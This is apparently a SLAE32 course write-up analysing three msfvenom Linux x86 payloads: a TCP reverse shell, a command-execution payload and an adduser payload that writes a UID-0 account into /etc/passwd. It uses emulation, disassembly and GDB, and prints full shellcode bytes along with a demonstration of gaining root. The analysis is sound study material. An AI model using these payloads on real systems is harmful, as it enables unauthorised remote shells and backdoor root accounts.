SLAE32 - Msfvenom shellcode analysis
Intro
Next in the Linux x86 shellcoding series is the analysis of three common msfvenom shellcode samples, which will be examined using both static and dynamic analysis techniques.
We can get a list with all the msfvenom payloads for x86 Linux machines, with the --list payloads
option.
$ msfvenom --list payloads | grep "linux/x86"
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
...[snippet]...
Shellcode 1 - TCP Reverse Shell
Overview
Before analyzing the disassembly, we get a grasp of what the shellcode is doing by running it using libemu’s sctest
.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > tcp_revshell.data
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
$ sctest -vvv -Ss 10000 -G msfvenom-linux-x86-tcp-revshell.dot < tcp_revshell.data
verbose = 3
[emu 0x0x993b480 debug ] cpu state eip=0x00417000
[emu 0x0x993b480 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x993b480 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x993b480 debug ] Flags:
[emu 0x0x993b480 debug ] cpu state eip=0x00417000
[emu 0x0x993b480 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x993b480 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
...[snippet]...
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 16777343 (host=127.0.0.1);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
We can then convert the .dot
file generated by sctest
, so that we can get a graphical overview of the system calls made by the shellcode.
dot msfvenom-linux-x86-tcp-revshell.dot -T png -o msfvenom-linux-x86-tcp-revshell.png
As expected, the sequence of system calls is pretty much identical to the one already discussed in: Assignment 2: Reverse TCP Shell .
Disassembly analysis
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw | ndisasm -u -
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 93 xchg eax,ebx
00000010 59 pop ecx
00000011 B03F mov al,0x3f
00000013 CD80 int 0x80
00000015 49 dec ecx
00000016 79F9 jns 0x11
00000018 687F000001 push dword 0x100007f
0000001D 680200115C push dword 0x5c110002
00000022 89E1 mov ecx,esp
00000024 B066 mov al,0x66
00000026 50 push eax
00000027 51 push ecx
00000028 53 push ebx
00000029 B303 mov bl,0x3
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80
0000002F 52 push edx
00000030 686E2F7368 push dword 0x68732f6e
00000035 682F2F6269 push dword 0x69622f2f
0000003A 89E3 mov ebx,esp
0000003C 52 push edx
0000003D 53 push ebx
0000003E 89E1 mov ecx,esp
00000040 B00B mov al,0xb
00000042 CD80 int 0x80
Again, we can go block by block and examine what the shellcode does.
Registers cleanup
00000000 31DB xor ebx,ebx ; ebx = 0
00000002 F7E3 mul ebx ; eax = 0, edx = 0
SYS_SOCKET call
; int socket(int domain, int type, int protocol);
00000005 43 inc ebx ; EBX: function to call = SYS_SOCKET function
; 3rd arg: int protocol => 0 = PROTO_IP
00000006 53 push ebx ; 2nd arg: int type => 1 = SOCK_STREAM
00000007 6A02 push byte +0x2 ; 1st arg: int domain => 2 = AF_INET
00000009 89E1 mov ecx,esp ; ecx = pointer to the top of the stack
0000000B B066 mov al,0x66 ; SYS_SOCKET call
0000000D CD80 int 0x80 ; call interrupt
0000000F 93 xchg eax,ebx ; return value in eax, stored in ebx for later use
The instructions above creates a TCP socket using the socketcall
system call, and more specifically its SYS_SOCKET
function (code 1 in EBX).
The function arguments are then pushed to the stack, in reverse order, from right to left. When everything has been setup correctly, the
Finally, the socket file descriptor, returned by the function in EAX by default, is stored to EBX using the xchg
instruction.
IO redirect with dup2
; int dup2(int oldfd, int newfd);
; 1st arg: EBX => socket handler
00000010 59 pop ecx ; 2nd arg: ECX => 2 = STDERR
00000011 B03F mov al,0x3f ; sys_dup2 call
00000013 CD80 int 0x80
00000015 49 dec ecx ; ECX--
00000016 79F9 jns 0x11 ; if ECX >= 0 jump back and keep looping
Using the dup2
syscall the stderr, stdout and stdin buffers are redirected to the socket. The ecx
register is used to store the value that corresponds to the buffers (2=stderr, 1=stdout, 0=stdin).
SYS_CONNECT call
00000018 687F000001 push dword 0x100007f ; ip=127.0.0.1
0000001D 680200115C push dword 0x5c110002 ; port=4444, 2=AF_INET
00000022 89E1 mov ecx,esp ; pointer to addr sockaddr_in stored in ecx
00000024 B066 mov al,0x66
00000026 50 push eax ; 3rd arg: socklen_t addrlen
00000027 51 push ecx ; 2nd arg: pointer to sockaddr struct
00000028 53 push ebx ; 1st arg: socket file descriptor
00000029 B303 mov bl,0x3 ; SYS_CONNECT
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80
Spawn shell with execve
0000002F 52 push edx ; push NULL
00000030 686E2F7368 push dword 0x68732f6e ; push "//bin/sh"
00000035 682F2F6269 push dword 0x69622f2f
0000003A 89E3 mov ebx,esp ; 1st pointer to "//bin/sh" string on stack
0000003C 52 push edx ; push NULL
0000003D 53 push ebx ; push pointer to "//bin/sh"
0000003E 89E1 mov ecx,esp ; argv[] = [**"//bin/sh", NULL]
; envp[] = NULL from EDX
00000040 B00B mov al,0xb ; sys_execve
00000042 CD80 int 0x80
We can figure out the string that is pushed to the stack using the following simple python command:
>>> bytes.fromhex('68732f6e69622f2f').decode()[::-1]
'//bin/sh'
Shellcode 2 - Command Execution
Overview
As we did with the first shellcode sample, before looking at the disassembly, we can look at what the shellcode does, by looking at the calls it makes, and at its execution flow. We can do that by using libemu’s sctest
tool and the graphviz library.
Let’s first generate the shellcode with msfvenom
$ msfvenom -p linux/x86/exec CMD=hostname -f raw > cmd_shellcode.data
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes
We can then run the binary using sctest
$ sctest -vvv -Ss 10000 -G cmd_exec.dot < cmd_shellcode.data
graph file cmd_exec.dot
verbose = 3
[emu 0x0x9487498 debug ] cpu state eip=0x00417000
[emu 0x0x9487498 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9487498 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9487498 debug ] Flags:
[emu 0x0x9487498 debug ] cpu state eip=0x00417000
[emu 0x0x9487498 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9487498 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
...[snippet]...
int execve (
const char * dateiname = 0x00416fc0 =>
= "/bin/sh";
const char * argv[] = [
= 0x00416fb0 =>
= 0x00416fc0 =>
= "/bin/sh";
= 0x00416fb4 =>
= 0x00416fc8 =>
= "-c";
= 0x00416fb8 =>
= 0x0041701d =>
= "hostname";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
Looking at the syscall sequence in a graphical format isn’t of much help here, since there is only one call to execve
.
As we can clearly see, all the shellcode is doing is calling execve
syscall in order to run the /bin/sh -c hostname
command.
Dynamic analysis with GDB
We can disassemble the payload generated by msfvenom using ndisasm
.
$ ndisasm -u - < cmd_shellcode.data
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E809000000 call dword 0x26
0000001D 686F73746E push dword 0x6e74736f
00000022 61 popad
00000023 6D insd
00000024 65005753 add [gs:edi+0x53],dl
00000028 89E1 mov ecx,esp
0000002A CD80 int 0x80
As expected the shellcode is very simple. This time, we can get the hex representation of the bytes in cmd_shellcode.data
file, and use it inside the C shellcode tester program we used in the previous assignments.
$ hexdump -v -e '"\\" 1/1 "x%02x"' < cmd_shellcode.data
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x09\x00\x00\x00\x68\x6f\x73\x74\x6e\x61\x6d\x65\x00\x57\x53\x89\xe1\xcd\x80
#include <stdio.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89...[snippet]...";
main() {
printf("Shellcode length: %d bytes\n", sizeof(code));
int (*ret)() = (int(*)())code;
ret();
}
We can now compile the shellcode tester program is compiled, and run it using GDB (with gef extension), and examine the stack and registers state after each instruction gets executed.
$ gcc -fno-stack-protector -z execstack run_sc.c -o run_sc
$ gdb -q ./run_sc
...[snippet]...
gef➤ b *&code
Breakpoint 1 at 0x804a040
gef➤ r
Starting program: /tmp/run_sc
Shellcode length: 45 bytes
...[snippet]...
We can execute 3 instructions, by entering ni
3 times (next instruction).
First the 0xb
value gets pushed to the stack, and popped into the EAX register, which stores the value that corresponds to the system call number, which in this case is execve
(code: 11). In addition to that, the EDX
register is reset by using the cdq
instruction, which copies the sign (bit 31) of the value in EAX
to EDX
.
Then the EDX
register is pushed to the stack (4 null bytes), followed by the -c
string, in reverse order. Finally, EIP
which holds the value of the top of the stack, is moved into EDI
, so that the register can be user later as a pointer to the string on that position in the stack.
The /bin/sh
string is also pushed to the stack, and a pointer to it is stored in the EBX
register, which is used to pass the first argument to the execve
system call.
The EDX
register gets pushed once again on the stack (4 null bytes). Next there’s a call
instruction which is used to get a dynamical reference to the buffer with the arguments, using the JMP-CALL-POP technique.
Using the si
command (step into), we can see that before calling the interrupt with the int 0x80
instruction, the ECX
register, which corresponds to the argv[]
array, is filled with the following strings:
/bin/sh
-c
hostname
Finally, the interrupt cause the execve
system call to be executed, and the output of the hostname
command is returned and printed to the screen.
Shellcode 3 - Add user with root permissions
Overview
$ msfvenom -p linux/x86/adduser --list-options
Options for payload/linux/x86/adduser:
=========================
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <[email protected]>
vlad902 <[email protected]>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
The adduser
shellcode adds a new user with UID=0 to /etc/passwd
, with specified username and password. We can generate the shellcode with the following command:
$ msfvenom -p linux/x86/adduser USER=r00t PASS=secret -f raw > addr00t.data
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 91 bytes
We can proceed by adding the hexadecimal representation of the shellcode in the tester program.
$ hexdump -v -e '"\\" 1/1 "x%02x"' < addr00t.data
\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x22\x00\x00\x00\x72\x30\x30\x74\x3a\x41\x7a\x75\x35\x32\x5a\x46\x39\x41\x2f\x47\x58\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80
#include <stdio.h>
unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31...[snippet]...";
main() {
printf("Shellcode length: %d bytes\n", sizeof(code));
int (*ret)() = (int(*)())code;
ret();
}
The program can then be compiled with GCC.
$ gcc -fno-stack-protector -z execstack run_sc.c -o run_sc
By running the program with strace
we can get an overview of the system calls being invoked by the program, and their arguments.
$ sudo strace ./run_sc
Dynamic analysis with GDB
$ sudo gdb -q ./run_sc
gef➤ b *&code
Breakpoint 1 at 0x804a040
gef➤ r
Starting program: /tmp/run_sc
Shellcode length: 92 bytes
Breakpoint 1, 0x0804a040 in code ()
setreuid system call
The system call that corresponds to code 0x46 (70 in decimal) is setreuid()
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 70"
#define __NR_setreuid 70
We can check out the function signature by looking at its man
entry:
$ man setreuid
int setreuid(uid_t ruid, uid_t euid);
setreuid()
function sets real and effective user IDs of the calling process. The function takes two arguments: the real uid and the effective uid, which in this case are set to zero.
In our shellcode, the setreuid
call is used to make sure the program has root privileges before it tries to append a new entry to the /etc/passwd
file.
The return value of the function is 0
if the operation has been completed successfully, -1
otherwise if an error occurred.
NOTE: If the
run_sc
binary has been run with gdb withoutsudo
, the operation will fail, andEAX
will be set to0xffffffff
, when the function returns, since in that case the process won’t have the necessary permission to write to/etc/passwd
file, hence the return value will be-1
.
The return value in EAX is 0, which means that the UIDs have been successfully set.
Opening /etc/passwd
The next system call is to the open
function, which code is 5.
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 5$"
#define __NR_open 5
The function signature can be retrieved once again by reading the manual entry for it, using the man open
command.
int open(const char *pathname, int flags, mode_t mode);
The function is called with the following arguments:
*pathname
in EBX: pointer to"/etc//passwd"
int flags
in ECX:O_WRONLY|O_APPEND
that corresponds to 2001 in octal (see:/usr/include/i386-linux-gnu/bits/fcntl-linux.h
)
The file handle is returned in EAX
. The next instruction then swaps the content of the EAX
and EBX
registers. The file handle is now in EBX
.
Writing to /etc/passwd
Next is a call
instruction, which is used to push the address of the string to write to the passwd
file, which is then moved into the ecx
register with the pop ecx
instruction.
The value stored in EAX (4), corresponds to the code of the write
system call, which has the following signature:
ssize_t write(int fd, const void *buf, size_t count);
In fact, before the system call has been invoked by the int 0x80
instruction, the arguments stored in the registers are the following:
int fd
(EBX) = 3 (file descriptor returned by theopen
system call)void *buf
(ECX) = pointer to the strings to append to/etc/passwd
size_t count
(EDX) = length of the string to write (34 decimal)
Exit
The last three instruction are used to exit gracefully from the program using the exit
system call.
Verify new entry in passwd file
Finally, we can verify that a new entry for user r00t
has been successfully added to /etc/passwd
, and that we are able to spawn a shell with root privileges by switching to user r00t
.
$ tail -n1 /etc/passwd
r00t:Azu52ZF9A/GXU:0:0::/:/bin/sh
$ su r00t
Password:
# id
uid=0(root) gid=0(root) groups=0(root)